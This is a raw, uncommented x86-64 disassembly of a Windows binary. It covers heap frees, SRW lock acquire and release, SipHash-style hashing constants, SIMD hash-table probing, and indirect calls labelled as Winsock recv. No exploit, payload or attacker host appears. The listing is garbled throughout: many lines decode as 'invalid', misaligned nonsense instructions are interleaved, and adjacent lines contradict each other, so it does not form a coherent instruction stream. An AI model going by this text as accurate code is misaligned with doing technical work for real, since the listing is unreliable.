mov r12d, dword [rbp + 0x2d0]
rol byte [rdx], 1
add byte [rax], al
rol byte [rdx], 1
add byte [rax], al
mov byte [rbp + 0xc00], 3
cmp r12d, dword [rsi + 0xa8]
cmp esp, dword [rsi + 0xa8]
add byte [rax], al
mov qword [rbp + 0xc10], rsi
jbe 0x1400f5b76
cmp qword [rbp + 0x1e0], 0
je 0x1400f4e19
mov r8, qword [rbp + 0x1d8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x1e8]
mov qword [rbp + 0xc50], rax
mov dword [rbp + 0xc50], eax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0xc20], rax
and byte [rax + rax], cl
add byte [rcx], dh
ror byte [rax - 0x77], 0x85
cmp byte [rax + rax], cl
add bl, ch
invalid
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
mov rax, qword [r9 + r8 + 0x18]
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
add rcx, 0x30
add ecx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc20]
add byte [rdi], cl
test byte [rcx + rcx], dh
add byte [rax], al
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc40], rcx
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
je 0x1400f4e40
sahf
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
lea rcx, [r9 + r8]
add rcx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov edx, dword [rcx + rax + 0x48]
mov r8, qword [r9 + r8 + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f4e40
jae 0x1400f500c
insd dword [rdi], dx
outsd dx, dword [rsi]
jae 0x1400f4fea
xor edx, edx
movabs rax, 0x646f72616e646f6d
xor rax, r8
movabs rcx, 0x6c7967656e657261
xor rcx, rdx
movabs rdx, 0x400000000000000
or rdx, r15
cli
invalid
cli
movabs r9, 0x7465646279746573
add r10, rax
rol rax, 0xd
ror byte [0x18ce08129], 0x31
ror byte [rcx - 0x3f], 1
ret 0x4d20
xor ecx, eax
add rcx, r9
add ecx, ecx
add ecx, ecx
leave
rol r9, 0x10
xor r9, rcx
add r10, r9
rol r9, 0x15
add rcx, rax
rol rax, 0x11
xor r9, r10
xor rax, rcx
rol rcx, 0x20
and byte [rcx + 0x31], cl
ror byte [rcx + 1], cl
ret 0xc148
ror byte [0x189df8165], 0xc1
ret 0x4820
xor ecx, 0xff
add rcx, r9
rol r9, 0x10
xor r9, rcx
add r10, r9
rol r9, 0x15
add rcx, rax
rol rax, 0x11
xor rax, rcx
rol rcx, 0x20
xor r9, r10
add r10, rax
rol rax, 0xd
xor rax, r10
rol r10, 0x20
lea r12, [rbx + 0x10]
adc byte [rcx + rax - 0x37], cl
ror byte [rcx + 1], cl
ret 0xc148
adc dword [rax + 0x31], ecx
enter 0xffffffffffffc148, 0xffffffffffffffc1
and byte [rbp + 0x31], cl
ror dword [rcx + 1], 1
ret 0xc148
rol r9, 0x10
xor r9, rcx
add r10, r9
rol r9, 0x15
mov r8d, dword [rbp + 0x80c]
add byte [rax + 1], cl
ror dword [rax - 0x3f], 0xc0
adc dword [rax - 0x73], ecx
xchg ebx, eax
test al, 1
add byte [rax], al
add byte [rax + 1], cl
ror dword [rax - 0x3f], 0xc0
adc dword [rax - 0x73], ecx
xchg ebx, eax
test al, 1
add byte [rax], al
xor rax, rcx
xor eax, ecx
rol rcx, 0x20
xor r9, r10
add r10, rax
rol rax, 0xd
xor rax, r10
add rcx, r9
add ecx, ecx
rol r9, 0x10
xor r9, rcx
rol r9, 0x15
adc eax, 0x48c10148
rol eax, 0x11
xor rax, r9
mov r9, rcx
rol r9, 0x20
shl dword [rax], 0x49
xor ecx, eax
xor r9, rcx
mov r10, qword [rbx + 0x1f0]
mov rax, qword [rbx + 0x200]
mov eax, dword [rbx + 0x200]
mov rcx, rbx
mov rbx, qword [rbx + 0x1d0]
add byte [rax], al
mov rdi, qword [rcx + 0x1d8]
mov rcx, r9
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r14d, r14d
pcmpeqd xmm1, xmm1
and r9, rdi
movdqu xmm2, xmmword [rbx + r9]
movq mm2, qword [rbx + rcx]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb esi, xmm3
nop dword [rax]
test si, si
je 0x1400f5150
tzcnt ecx, esi
add rcx, r9
and rcx, rdi
and ecx, edi
shl rcx, 3
mov r11, rbx
sub r11, rcx
mov rcx, qword [r11 - 8]
cmp rax, rcx
jbe 0x1400f8cbf
lea r11d, [rsi - 1]
and r11d, esi
shl rcx, 4
mov esi, r11d
cmp dword [r10 + rcx + 8], r15d
cmp dword [rdx + rcx + 8], edi
jne 0x1400f5110
jmp 0x1400f5927
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400f749e
add r9, r14
add r9, 0x10
add r14, 0x10
jmp 0x1400f50f4
movabs rax, 0x646f72616e646f6d
xor rax, r10
movabs rcx, 0x6c7967656e657261
jb 0x1400f529c
outsb dx, byte [rsi]
jns 0x1400f52a8
jb 0x1400f529c
outsb dx, byte [rsi]
jns 0x1400f52a8
xor rcx, rdx
movabs r8, 0x400000000000000
or r8, rsi
movabs rdx, 0x7465646279746573
je 0x1400f52a0
add ecx, eax
je 0x1400f52a0
add ecx, eax
rol rax, 0xd
xor rdx, r8
xor rax, r9
rol r9, 0x20
shl dword [rax], 0x4c
xor edx, edx
add rcx, rdx
rol rdx, 0x10
xor rdx, rcx
add r9, rdx
add ecx, edx
add ecx, edx
rol rdx, 0x15
add rcx, rax
rol rax, 0x11
xor rdx, r9
xor rax, rcx
rol rcx, 0x20
rol ecx, 0x20
xor r9, r8
add r9, rax
rol rax, 0xd
or eax, 0x49c8314c
rol ecx, 0x20
and byte [rax - 0x7f], cl
int1
xor rcx, 0xff
inc dword [rax]
add byte [rax], al
add rcx, rdx
rol rdx, 0x10
rol edx, 0x10
xor rdx, rcx
add r9, rdx
rol rdx, 0x15
add rcx, rax
rol rax, 0x11
xor rax, rcx
rol rcx, 0x20
xor rdx, r9
add r9, rax
rol rax, 0xd
xor rax, r9
rol r9, 0x20
rol ecx, 0x20
retf 0x149
add rcx, rdx
rol rdx, 0x10
xor rdx, rcx
add r9, rdx
rol rdx, 0x15
add rcx, rax
rol rax, 0x11
mov qword [rbp + 0xc20], r15
add byte [rax], al
lea r8, [r15 + 0x10]
xor rax, rcx
enter 0xffffffffffffc148, 0xffffffffffffffc1
and byte [rcx + rsi - 0x36], cl
enter 0xffffffffffffc148, 0xffffffffffffffc1
and byte [rcx + rsi - 0x36], cl
add r9, rax
rol rax, 0xd
xor rax, r9
xor eax, ecx
xor eax, ecx
add rcx, rdx
rol rdx, 0x10
xor rdx, rcx
rol rdx, 0x15
add rcx, rax
rol rax, 0x11
xor rax, rdx
mov r9, rcx
rol r9, 0x20
xor r9, rax
xor r9, rcx
mov rax, qword [r13 + 0x1f0]
add byte [rax], al
mov rdx, qword [r13 + 0x200]
mov r10, qword [r13 + 0x1d0]
mov r11, qword [r13 + 0x1d8]
mov rcx, r9
shr rcx, 0x39
jmp 0x1ae1eb98f
shl dword [rsi + 0xf], 0x60
sal dl, 0xf
jo 0x1400f531f
add byte [rsi + 0xf], ah
pshufw mm0, mm0, 0
xor r14d, r14d
pcmpeqd xmm1, xmm1
and r9, r11
movdqu xmm2, xmmword [r10 + r9]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb r15d, xmm3
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test r15w, r15w
je 0x1400f53d2
tzcnt ecx, r15d
add rcx, r9
and rcx, r11
shl rcx, 3
mov r12, r10
sub r12, rcx
mov rcx, qword [r12 - 8]
cmp rdx, rcx
jbe 0x1400f9410
lea r12d, [r15 - 1]
and r12d, r15d
shl rcx, 4
mov r15d, r12d
cmp dword [rax + rcx + 8], esi
jne 0x1400f5390
jmp 0x1400f678e
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
mov r15, qword [rbp + 0xc20]
and byte [rax + rax], cl
add byte [rdi], cl
test dword [rdi + 0x17], ebp
add byte [rax], al
add r9, r14
add r9, 0x10
adc byte [rcx - 0x7d], cl
invalid
adc cl, ch
jae 0x1400f53f6
invalid
invalid
invalid
jnp 0x1400f5493
add byte [rdi], cl
test byte [rdi + 0x4c000084], bl
mov esi, dword [rdi + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f8cf2
movzx eax, byte [r14 + 8]
movzx eax, byte [rsi + 8]
test al, al
jne 0x1400fdaaf
lea rdi, [r14 + 8]
mov esi, dword [r14 + 0xa4]
add byte [rax - 0x75], cl
add eax, 0x146e4f
add byte [rax - 0x75], cl
add eax, 0x146e4f
shl rax, 1
test rax, rax
jne 0x1400f8d2a
insd dword [rdi], dx
cmp byte [rax], al
invalid
insd dword [rdi], dx
cmp byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov dword [rbp + 0xac0], esi
or al, byte [rax]
add bh, al
test esp, eax
or al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xc495b
mov qword [rbp + 0xaa0], rax
lea rax, [0x1401ea218]
mov qword [rbp + 0xaa8], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xab0], xmm0
mov byte [rbp + 0xc2b], 1
test dword [rbx], ebp
or al, 0
add byte [rcx], al
test dword [rax - 0x39fffff6], esi
test dword [rbx], ebp
or al, 0
add byte [rcx], al
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
test eax, eax
test eax, eax
jne 0x1400f8d3f
xor eax, eax
movzx ecx, byte [r14 + 8]
test cl, cl
jne 0x1400f8d53
test dword [rbx], esp
cmp byte [rax], al
invalid
cmp byte [rax], al
add byte [rcx + 0x39], al
mov dh, 0xa8
add byte [rax], al
add byte [rdi], cl
invalid
cmp dword [r14 + 0xa8], esi
jb 0x1400fd92b
mov dword [r14 + 0xa8], esi
test al, al
jne 0x1400f555b
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400fab66
or edx, dword [rsi]
invalid
or edx, dword [rsi]
add dh, al
test dword [rbx], ebp
or al, 0
add byte [rcx], al
mov byte [rbp + 0xc2b], 1
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmc
invalid
or dword [rax], eax
mov rax, qword [rbp + 0xac0]
mov qword [rbp + 0x840], rax
movdqu xmm0, xmmword [rbp + 0xaa0]
movdqu xmm1, xmmword [rbp + 0xab0]
add byte [rax], al
cmc
invalid
add byte [rax], al
movdqa xmmword [rbp + 0x830], xmm1
movdqa xmmword [rbp + 0x820], xmm0
add byte [rax], al
cmp dword [rbx + 0x28], 0
je 0x1400f55c2
xor edx, edx
cmp eax, dword [rbx + 0x2c]
setne dl
mov ecx, 0xff
cmovae ecx, edx
test cl, cl
je 0x1400f55c2
movzx ecx, cl
cmp ecx, 0xff
stc
inc dword [rax]
add byte [rax], al
stc
inc dword [rax]
add byte [rax], al
jne 0x1400fdee7
mov ecx, dword [rbp + 0x844]
mov dword [rbx + 0x28], 1
mov dword [rbx + 0x2c], eax
mov dword [rbx + 0x30], ecx
mov rax, qword [rbp + 0xac0]
mov qword [rbp + 0x990], rax
movups xmm0, xmmword [rbp + 0xaa0]
movups xmm1, xmmword [rbp + 0xab0]
movaps xmmword [rbp + 0x980], xmm1
movaps xmmword [rbp + 0x970], xmm0
add byte [rdi], cl
sub dword [rbp + 0x970], eax
mov rax, qword [rbx]
test rax, rax
mov qword [rbp + 0xc50], rbx
je 0x1400f744e
mov r8, qword [rbp + 0xc50]
add byte [rax], al
lea rcx, [r8 + 0x18]
mov rdx, qword [r8 + 8]
mov r8, qword [r8 + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f744e
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x28]
mov qword [rbp + 0xac0], rcx
movdqu xmm0, xmmword [rax + 8]
or bl, sil
movq mm1, qword [rax + 0x18]
or bl, sil
movq mm1, qword [rax + 0x18]
movdqa xmmword [rbp + 0xab0], xmm1
movdqa xmmword [rbp + 0xaa0], xmm0
mov qword [rbp + 0xc00], rdi
mov rcx, qword [rdi + 0x20]
mov byte [rbp + 0xc1e], 1
mov qword [rbp + 0xc50], rcx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rsi, qword [rbp + 0x958]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f7dbf
mov dword [rbp + 0xbe8], 0
mov rax, qword [rbp + 0xc50]
movzx eax, byte [rax + 8]
test al, al
mov rax, qword [rbp + 0xc00]
jne 0x1400fd36b
mov r14, qword [rax + 0x28]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f7e29
xor eax, eax
movzx ecx, byte [r14 + 8]
test cl, cl
mov rcx, qword [rbp + 0xc50]
jne 0x1400f7e44
mov r15d, dword [rbp + 0xac0]
mov edi, dword [rcx + 0x118]
cmp edi, r15d
jae 0x1400f5d89
pxor xmm0, xmm0
movdqa xmmword [rbp], xmm0
test al, al
jne 0x1400f571b
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f8bd2
mov bl, 1
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
jmp 0x1400f7367
cmp qword [rbp + 0x1f0], 0
je 0x1400f57d0
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x210]
mov qword [rbp + 0xc40], rcx
mov qword [rbp + 0xc38], rax
lea rcx, [rax + 0x38]
xor eax, eax
mov qword [rbp + 0xc50], rax
nop dword [rax]
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xc40], rax
je 0x1400f582f
inc qword [rbp + 0xc50]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400f5800
cmp qword [rbp + 0x208], 0
je 0x1400f584f
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [rbp + 0x220]
cmp al, 0xb
je 0x1400f587e
cmp al, 0xa
jb 0x1400f587e
cmp qword [rbp + 0x230], 0
je 0x1400f587e
mov r8, qword [rbp + 0x228]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x238]
test rax, rax
je 0x1400f58a2
lea rcx, [rbp + 0x250]
mov rdx, qword [rbp + 0x240]
mov r8, qword [rbp + 0x248]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x258]
test rax, rax
je 0x1400f58c6
lea rcx, [rbp + 0x270]
mov rdx, qword [rbp + 0x260]
mov r8, qword [rbp + 0x268]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x278]
test rax, rax
je 0x1400f58ea
lea rcx, [rbp + 0x290]
mov rdx, qword [rbp + 0x280]
mov r8, qword [rbp + 0x288]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x298]
lea rdi, [0x1401b9e38]
shr rdi, 0x20
mov bl, 1
lea r14, [0x1401ea218]
test rax, rax
je 0x1400f5922
lea rcx, [rbp + 0x2b0]
mov rdx, qword [rbp + 0x2a0]
mov r8, qword [rbp + 0x2a8]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400fa6f4
mov r14b, 3
mov rbx, qword [rbp + 0xc10]
cmp r15d, dword [rbx + 0xa8]
jbe 0x1400f6a30
jmp 0x1400f74af
mov r13d, dword [r10 + rcx + 0xc]
mov qword [rbp + 0x4e0], rbx
mov dword [rbp + 0x4e8], r13d
mov dword [rbp + 0x4ec], esi
mov qword [rbp + 0x360], rax
mov byte [rbp + 0xc2e], 1
mov rdi, qword [rbp + 0xc40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f8205
xor edx, edx
movzx eax, byte [rdi + 8]
test al, al
jne 0x1400f821b
lea rax, [rdi + 0x10]
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x730], rax
movaps xmm0, xmmword [rbp]
movaps xmm1, xmmword [rbp + 0x10]
movups xmmword [rbp + 0x720], xmm1
movups xmmword [rbp + 0x710], xmm0
lea rax, [rbp + 0x360]
mov qword [rbp + 0x700], rax
lea rax, [rbp + 0x2e0]
mov qword [rbp + 0x708], rax
mov dword [rbp + 0xaa0], r13d
lea r10, [rbp + 0xaa4]
mov dword [rbp + 0xaa4], esi
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + 0x1b8]
cmp rax, r13
mov dword [rbp + 0xc20], edx
jbe 0x1400fd17f
mov rcx, qword [rbp + 0xc50]
mov rcx, qword [rcx + 0x1a8]
test rcx, rcx
je 0x1400fd17f
imul r12, r13, 0x130
cmp dword [rcx + r12], 2
je 0x1400fd17f
add rcx, r12
cmp dword [rcx + 0x114], esi
jne 0x1400fd17f
mov r8d, dword [rcx + 0x48]
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1c0], xmm0
mov rdi, qword [rbp + 0x720]
movups xmm0, xmmword [rbp + 0x728]
movups xmmword [rbp + 0x1d8], xmm0
mov r15, qword [rbp + 0x360]
mov qword [rbp + 0x1d0], rdi
test rdi, 0xffffffff80000000
jne 0x1400fd508
mov dword [rbp + 0xc10], r8d
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp dword [rcx], 2
je 0x1400fd268
cmp dword [rcx + 0x114], esi
jne 0x1400fd268
mov r14d, edi
movzx edx, byte [rcx + 0x50]
cmp dl, 5
ja 0x1400f649f
lea r8d, [rdx - 3]
cmp r8b, 3
movzx r9d, r8b
mov r8d, 1
cmovb r8d, r9d
cmp r8b, 2
je 0x1400f5afd
movzx r8d, r8b
cmp r8d, 1
jne 0x1400f649f
cmp dl, 1
ja 0x1400f5afd
cmp byte [rcx + 0x51], 2
jae 0x1400f649f
mov eax, dword [r15 + 0x48]
xor ecx, ecx
test eax, eax
cmovg ecx, eax
cmp ecx, r14d
jb 0x1400f5b32
test r14d, r14d
je 0x1400f8ac8
sub eax, r14d
jl 0x1400fde7b
jo 0x1400f5b32
mov dword [r15 + 0x48], eax
mov eax, dword [r15 + 0x4c]
sub eax, r14d
jno 0x1400f8ac4
xorps xmm0, xmm0
mov byte [rbp + 0x821], 1
mov dword [rbp + 0x824], 3
lea rax, [0x1401b9e38]
mov qword [rbp + 0x828], rax
lea rax, [0x1401ea218]
mov qword [rbp + 0x830], rax
movups xmmword [rbp + 0x838], xmm0
mov al, 1
mov byte [rbp + 0x820], al
jmp 0x1400f6e42
mov byte [rbp + 0xc40], bl
mov qword [rbp + 0xbe0], rdi
mov r8, qword [rsi + 0x208]
mov r10, qword [rsi + 0x210]
movabs rdx, 0x736f6d6570736575
xor rdx, r8
movabs rax, 0x646f72616e646f6d
xor rax, r10
movabs rcx, 0x6c7967656e657261
xor rcx, r8
movabs r9, 0x400000000000000
or r9, r12
movabs r8, 0x7465646279746573
add rdx, rax
rol rax, 0xd
xor r8, r9
xor rax, rdx
rol rdx, 0x20
xor r8, r10
add rcx, r8
rol r8, 0x10
xor r8, rcx
add rdx, r8
rol r8, 0x15
add rcx, rax
rol rax, 0x11
xor r8, rdx
xor rax, rcx
rol rcx, 0x20
xor rdx, r9
add rdx, rax
rol rax, 0xd
xor rax, rdx
rol rdx, 0x20
xor rcx, 0xff
add rcx, r8
rol r8, 0x10
xor r8, rcx
add rdx, r8
rol r8, 0x15
add rcx, rax
rol rax, 0x11
xor rax, rcx
rol rcx, 0x20
xor r8, rdx
add rdx, rax
rol rax, 0xd
xor rax, rdx
rol rdx, 0x20
add rcx, r8
rol r8, 0x10
xor r8, rcx
add rdx, r8
rol r8, 0x15
add rcx, rax
rol rax, 0x11
xor rax, rcx
rol rcx, 0x20
xor r8, rdx
add rdx, rax
rol rax, 0xd
lea r9, [rsi + 0x10]
mov qword [rbp + 0xbc8], r9
add rcx, r8
rol r8, 0x10
lea r9, [rsi + 0x1a8]
mov qword [rbp + 0xc50], r9
xor r8, rcx
rol r8, 0x15
xor rax, rdx
add rcx, rax
rol rax, 0x11
lea r9, [rsi + 0x1d0]
mov r10, rcx
rol r10, 0x20
xor rax, r8
xor r10, rax
xor r10, rcx
mov r8, qword [rsi + 0x1f0]
mov rdx, qword [rsi + 0x200]
mov rax, qword [rsi + 0x1d0]
mov r11, qword [rsi + 0x1d8]
mov rcx, r10
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r14d, r14d
pcmpeqd xmm1, xmm1
mov r13, r10
and r13, r11
movdqu xmm2, xmmword [rax + r13]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb r15d, xmm3
nop word cs:[rax + rax]
test r15w, r15w
je 0x1400f5d69
tzcnt edi, r15d
add rdi, r13
and rdi, r11
lea rcx, [rdi*8]
mov rsi, rax
sub rsi, rcx
mov rsi, qword [rsi - 8]
cmp rdx, rsi
jbe 0x1400f8f1e
lea ebx, [r15 - 1]
and ebx, r15d
mov rcx, rsi
shl rcx, 4
mov r15d, ebx
cmp dword [r8 + rcx + 8], r12d
jne 0x1400f5d20
jmp 0x1400f6142
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400f88b4
add r13, r14
add r13, 0x10
add r14, 0x10
jmp 0x1400f5cfd
mov dword [rbp + 0x960], edi
mov dword [rbp + 0xbc8], eax
mov qword [rbp + 0xbe0], r14
mov dword [rcx + 0x118], r15d
mov rax, qword [rbp + 0xaa0]
mov r8, qword [rbp + 0xaa8]
lea rdx, [rbp + 0xab8]
mov rsi, rcx
mov r9, qword [rbp + 0xab0]
lea rcx, [rbp + 0x970]
call qword [rax]
mov eax, dword [rbp + 0xac4]
movdqu xmm0, xmmword [rbp + 0x970]
or dword [rax], eax
add bl, dh
movq mm1, qword [rbp + 0x980]
movdqu xmmword [rbp + 0x828], xmm0
movdqu xmmword [rbp + 0x838], xmm1
add byte [rcx + 0x82485], cl
add byte [rsi - 0x39], ah
test dword [rax], esp
or byte [rax], al
add byte [rcx], al
invalid
mov rax, qword [rsi + 0x1e8]
test rax, rax
mov r9, rsi
je 0x1400f6086
lea rcx, [r9 + 0x160]
mov qword [rbp + 0xc20], rcx
mov rcx, qword [rbp + 0xbe0]
add rcx, 0x10
mov qword [rbp + 0xc10], rcx
lea rcx, [r9 + 0x1a8]
mov qword [rbp + 0xc40], rcx
lea rcx, [r9 + 0xb8]
mov qword [rbp + 0xc38], rcx
mov r14, rax
xor esi, esi
jmp 0x1400f5e77
cmp rax, r14
sbb rsi, 0xffffffffffffffff
cmp rax, r14
cmp eax, esi
sbb r14, 0
cmp rsi, r14
jae 0x1400f6086
cmp qword [r9 + 0x200], rsi
jbe 0x1400fcd9c
mov rcx, qword [r9 + 0x1f0]
test rcx, rcx
je 0x1400fcd9c
mov rdx, rsi
shl rdx, 4
add al, 0x44
mov ebp, dword [rcx + rdx + 8]
mov ebx, dword [rcx + rdx + 0xc]
mov dword [rbp + 0x1c0], ebx
mov dword [rbp + 0x1c4], r13d
cmp qword [r9 + 0x1b8], rbx
jbe 0x1400fbb4f
mov rdx, qword [r9 + 0x1a8]
test rdx, rdx
je 0x1400fbb4f
imul r12, rbx, 0x130
cmp dword [rdx + r12], 2
je 0x1400fbb4f
add rdx, r12
cmp dword [rdx + 0x114], r13d
jne 0x1400fbb4f
cmp dword [rdx + 0x114], r15d
jbe 0x1400f5e60
mov rax, qword [rbp + 0xc40]
mov qword [rbp + 0x1c0], rax
mov dword [rbp + 0x1c8], ebx
mov dword [rbp + 0x1cc], r13d
mov dword [rbp + 0x5d0], ebx
mov dword [rbp + 0x5d4], r13d
cmp dword [rdx], 2
je 0x1400fcdc0
cmp dword [rdx + 0x114], r13d
jne 0x1400fcdc0
mov edi, r15d
mov r15d, dword [rdx + 0x48]
mov dword [rbp + 0x5d0], ebx
mov dword [rbp + 0x5d4], r13d
cmp dword [rdx], 2
je 0x1400fce38
cmp dword [rdx + 0x114], r13d
jne 0x1400fce38
mov byte [rbp + 0xc36], 1
lea rcx, [rbp + 0x820]
call fcn.140029f00
mov byte [rbp + 0xc36], 1
mov rcx, qword [rbp + 0xc38]
mov rdx, qword [rbp + 0xc10]
lea r8, [rbp + 0x1c0]
call fcn.1400d5760
mov dword [rbp + 0x5d0], ebx
mov dword [rbp + 0x5d4], r13d
mov rax, qword [rbp + 0xc50]
cmp qword [rax + 0x1b8], rbx
jbe 0x1400fcc6d
mov rax, qword [rax + 0x1a8]
test rax, rax
je 0x1400fcc6d
cmp dword [rax + r12], 2
je 0x1400fcc6d
add rax, r12
cmp dword [rax + 0x114], r13d
jne 0x1400fcc6d
mov edx, dword [rax + 0x84]
test edx, edx
mov ecx, 0
cmovle edx, ecx
jle 0x1400f604b
mov dword [rbp + 0x5d0], ebx
mov dword [rbp + 0x5d4], r13d
cmp dword [rax], 2
je 0x1400fd096
cmp dword [rax + 0x114], r13d
jne 0x1400fd096
mov ecx, dword [rax + 0x84]
sub ecx, edx
jo 0x1400f602a
mov dword [rax + 0x84], ecx
mov byte [rbp + 0xc36], 1
mov rcx, qword [rbp + 0xc38]
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc20]
mov ecx, dword [rbp + 0xc20]
call fcn.140025680
cmp r15d, 0x3b9aca00
setne r8b
mov byte [rbp + 0xc36], 1
mov rcx, qword [rbp + 0xc20]
and byte [rax + rax], cl
add byte [rax - 0x73], cl
xchg ebp, eax
rol byte [rcx], 0
add al, ch
and al, bl
invalid
invalid
mov r9, qword [rbp + 0xc50]
mov rax, qword [r9 + 0x1e8]
mov r15d, edi
jmp 0x1400f5e60
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0x990], rax
add byte [rax], al
movzx eax, word [rbp + 0x820]
movzx ecx, word [rbp + 0x822]
mov edx, dword [rbp + 0x824]
and al, 8
add byte [rax], al
mov r8, qword [rbp + 0x828]
movups xmm0, xmmword [rbp + 0x830]
movaps xmmword [rbp + 0x980], xmm0
mov word [rbp + 0x970], ax
jo 0x1400f60cb
add byte [rax], al
mov word [rbp + 0x972], cx
mov dword [rbp + 0x974], edx
mov qword [rbp + 0x978], r8
lea rax, [r9 + 0x128]
mov qword [rbp + 0xc40], rax
movzx eax, byte [r9 + 0x128]
cmp rax, 3
mov rsi, qword [rbp + 0x958]
mov edi, dword [rbp + 0x960]
mov ebp, 0x960
je 0x1400f72ed
test rax, rax
je 0x1400f72ed
fist word [rcx]
add byte [rax], al
cmp eax, 1
jne 0x1400f72ba
mov r8, qword [rbp + 0xc50]
mov rax, qword [r8 + 0x130]
mov rdx, qword [r8 + 0x138]
lea rcx, [r8 + 0x148]
mov r8, qword [r8 + 0x140]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f72ed
stosd dword [rdi], eax
adc dword [rax], eax
invalid
neg rdi
lea rax, [rax + rdi*8]
mov qword [rbp + 0x828], r9
mov qword [rbp + 0x830], rax
mov dword [rbp + 0x838], r12d
cmp byte [rax], cl
add byte [rax], al
cmp rsi, rdx
jae 0x1400fbb23
mov r8, qword [rbp + 0xc10]
mov rax, qword [r8 + 0x1f0]
xor al, 1
add byte [rax], al
mov edx, dword [rax + rcx + 8]
mov r9d, dword [rax + rcx + 0xc]
mov dword [rbp + 0xaa0], r9d
mov dword [rbp + 0xaa4], edx
mov r14d, r9d
cmp qword [r8 + 0x1b8], r14
jbe 0x1400fd1f0
mov rax, qword [r8 + 0x1a8]
test rax, rax
je 0x1400fd1f0
imul rcx, r14, 0x130
cmp dword [rax + rcx], 2
je 0x1400fd1f0
add rax, rcx
cmp dword [rax + 0x114], edx
jne 0x1400fd1f0
jo 0x1400f61ca
invalid
jo 0x1400f61ca
add byte [rax - 0x77], cl
lea eax, [rax + 0xc]
add byte [rax], al
mov qword [rbp + 0xc40], rcx
mov dword [rbp + 0xc20], edx
movzx ecx, byte [rax + 0x50]
cmp cl, 5
ja case.0x1400e2e02.106
lea edx, [rcx - 3]
cmp dl, 3
movzx r8d, dl
mov edx, 1
cmovb edx, r8d
cmp dl, 2
je 0x1400f4df9
test ah, bh
jmp 0x1400f61fb
invalid
movzx edx, dl
cmp edx, 1
jne case.0x1400e2e02.106
cmp cl, 1
ja 0x1400f4df9
cmp byte [rax + 0x51], 2
jb 0x1400f4df9
